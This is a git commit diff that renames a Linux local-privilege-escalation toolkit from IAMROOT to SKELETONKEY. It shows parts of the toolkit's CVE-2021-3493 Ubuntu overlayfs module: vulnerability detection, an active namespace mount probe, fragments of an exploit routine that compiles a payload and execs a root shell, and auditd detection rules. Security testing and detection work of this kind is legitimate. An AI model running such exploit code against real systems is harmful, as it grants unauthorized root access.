rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -14,7 +14,7 @@ Advisory: USN-4915-1 / USN-4916-1 (Canonical, April 2021).
|
||||
|
||||
Public PoC: vsh-style userns + overlayfs + xattr injection chain.
|
||||
|
||||
## IAMROOT role
|
||||
## SKELETONKEY role
|
||||
|
||||
Detect parses `/etc/os-release` for `ID=ubuntu`, checks
|
||||
`unprivileged_userns_clone` sysctl, and with `--active` performs the
|
||||
|
||||
@@ -1,12 +0,0 @@
|
||||
/*
|
||||
* overlayfs_cve_2021_3493 — IAMROOT module registry hook
|
||||
*/
|
||||
|
||||
#ifndef OVERLAYFS_IAMROOT_MODULES_H
|
||||
#define OVERLAYFS_IAMROOT_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct iamroot_module overlayfs_module;
|
||||
|
||||
#endif
|
||||
+29
-29
@@ -1,5 +1,5 @@
|
||||
/*
|
||||
* overlayfs_cve_2021_3493 — IAMROOT module
|
||||
* overlayfs_cve_2021_3493 — SKELETONKEY module
|
||||
*
|
||||
* Ubuntu-flavor overlayfs lets an unprivileged user mount overlayfs
|
||||
* inside a user namespace, then set file capabilities on a file in
|
||||
@@ -30,12 +30,12 @@
|
||||
* 1. /etc/os-release distro == ubuntu (the bug is Ubuntu-specific)
|
||||
* 2. Kernel version is below the Ubuntu fix threshold for that
|
||||
* release. We don't track per-release Ubuntu kernel version
|
||||
* maps in IAMROOT yet; report VULNERABLE if Ubuntu kernel
|
||||
* maps in SKELETONKEY yet; report VULNERABLE if Ubuntu kernel
|
||||
* AND uname() version < 5.11 AND unprivileged_userns_clone=1
|
||||
* AND overlayfs mountable from userns (active probe).
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
@@ -94,7 +94,7 @@ static int overlayfs_mount_probe(void)
|
||||
if (unshare(CLONE_NEWUSER | CLONE_NEWNS) < 0) _exit(2);
|
||||
|
||||
/* Build a minimal overlayfs in /tmp inside the child. */
|
||||
char base[] = "/tmp/iamroot-ovl-XXXXXX";
|
||||
char base[] = "/tmp/skeletonkey-ovl-XXXXXX";
|
||||
if (!mkdtemp(base)) _exit(3);
|
||||
|
||||
char low[512], up[512], wd[512], mp[512];
|
||||
@@ -119,12 +119,12 @@ static int overlayfs_mount_probe(void)
|
||||
return WEXITSTATUS(status) == 0 ? 1 : 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t overlayfs_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] overlayfs: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Ubuntu-specific bug. Non-Ubuntu kernels are largely immune
|
||||
@@ -134,7 +134,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: not Ubuntu — bug is Ubuntu-specific\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* unprivileged_userns_clone gate */
|
||||
@@ -144,7 +144,7 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[+] overlayfs: unprivileged_userns_clone=0 → "
|
||||
"unprivileged exploit unreachable\n");
|
||||
}
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -161,14 +161,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] overlayfs: ACTIVE PROBE CONFIRMED — "
|
||||
"userns overlayfs mount succeeded → VULNERABLE\n");
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (probe == 0) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: active probe denied mount — "
|
||||
"likely patched / AppArmor block\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] overlayfs: active probe machinery failed\n");
|
||||
@@ -185,14 +185,14 @@ static iamroot_result_t overlayfs_detect(const struct iamroot_ctx *ctx)
|
||||
fprintf(stderr, "[!] overlayfs: Ubuntu kernel %s in vulnerable range — "
|
||||
"re-run with --active to confirm\n", v.release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] overlayfs: Ubuntu kernel %s is newer than typical "
|
||||
"affected range\n", v.release);
|
||||
fprintf(stderr, "[i] overlayfs: re-run with --active to empirically test\n");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
/* ---- Exploit (vsh-style) ----------------------------------------
|
||||
@@ -278,28 +278,28 @@ static bool which_gcc(char *out_path, size_t outsz)
|
||||
return false;
|
||||
}
|
||||
|
||||
static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t overlayfs_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Re-confirm vulnerable. */
|
||||
iamroot_result_t pre = overlayfs_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = overlayfs_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] overlayfs: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
fprintf(stderr, "[i] overlayfs: already root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
char workdir[] = "/tmp/iamroot-ovl-XXXXXX";
|
||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return IAMROOT_TEST_ERROR; }
|
||||
char workdir[] = "/tmp/skeletonkey-ovl-XXXXXX";
|
||||
if (!mkdtemp(workdir)) { perror("mkdtemp"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (!ctx->json) fprintf(stderr, "[*] overlayfs: workdir = %s\n", workdir);
|
||||
|
||||
char gcc[256];
|
||||
if (!which_gcc(gcc, sizeof gcc)) {
|
||||
fprintf(stderr, "[-] overlayfs: no gcc/cc — exploit needs to compile a payload\n");
|
||||
rmdir(workdir);
|
||||
return IAMROOT_PRECOND_FAIL;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
char src_path[1100], bin_path[1100];
|
||||
@@ -307,10 +307,10 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
|
||||
snprintf(bin_path, sizeof bin_path, "%s/payload", workdir);
|
||||
|
||||
int fd = open(src_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return IAMROOT_TEST_ERROR; }
|
||||
if (fd < 0) { perror("open payload.c"); rmdir(workdir); return SKELETONKEY_TEST_ERROR; }
|
||||
if (write(fd, OVERLAYFS_PAYLOAD_SOURCE, sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)
|
||||
!= (ssize_t)(sizeof(OVERLAYFS_PAYLOAD_SOURCE) - 1)) {
|
||||
close(fd); unlink(src_path); rmdir(workdir); return IAMROOT_TEST_ERROR;
|
||||
close(fd); unlink(src_path); rmdir(workdir); return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
close(fd);
|
||||
|
||||
@@ -432,7 +432,7 @@ static iamroot_result_t overlayfs_exploit(const struct iamroot_ctx *ctx)
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] overlayfs: --no-shell — payload at %s, not exec'ing\n",
|
||||
upper_bin);
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
fflush(NULL);
|
||||
execl(upper_bin, upper_bin, (char *)NULL);
|
||||
@@ -443,7 +443,7 @@ fail_workdir:
|
||||
unlink(src_path); unlink(bin_path); unlink(upper_bin);
|
||||
rmdir(merged); rmdir(work); rmdir(upper); rmdir(lower);
|
||||
rmdir(workdir);
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* ----- Embedded detection rules ----- */
|
||||
@@ -451,12 +451,12 @@ fail_workdir:
|
||||
static const char overlayfs_auditd[] =
|
||||
"# overlayfs userns LPE (CVE-2021-3493) — auditd detection rules\n"
|
||||
"# Flag userns-clone followed by overlayfs mount + setcap-like xattr.\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k iamroot-overlayfs\n"
|
||||
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k iamroot-overlayfs\n"
|
||||
"-a always,exit -F arch=b64 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||
"-a always,exit -F arch=b32 -S mount -F a2=overlay -k skeletonkey-overlayfs\n"
|
||||
"# Watch for security.capability xattr writes (the post-mount step)\n"
|
||||
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k iamroot-overlayfs-cap\n";
|
||||
"-a always,exit -F arch=b64 -S setxattr,fsetxattr,lsetxattr -k skeletonkey-overlayfs-cap\n";
|
||||
|
||||
const struct iamroot_module overlayfs_module = {
|
||||
const struct skeletonkey_module overlayfs_module = {
|
||||
.name = "overlayfs",
|
||||
.cve = "CVE-2021-3493",
|
||||
.summary = "Ubuntu userns-overlayfs file-capability injection → host root",
|
||||
@@ -473,7 +473,7 @@ const struct iamroot_module overlayfs_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_overlayfs(void)
|
||||
void skeletonkey_register_overlayfs(void)
|
||||
{
|
||||
iamroot_register(&overlayfs_module);
|
||||
skeletonkey_register(&overlayfs_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* overlayfs_cve_2021_3493 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef OVERLAYFS_SKELETONKEY_MODULES_H
|
||||
#define OVERLAYFS_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module overlayfs_module;
|
||||
|
||||
#endif
|
||||
Reference in New Issue
Block a user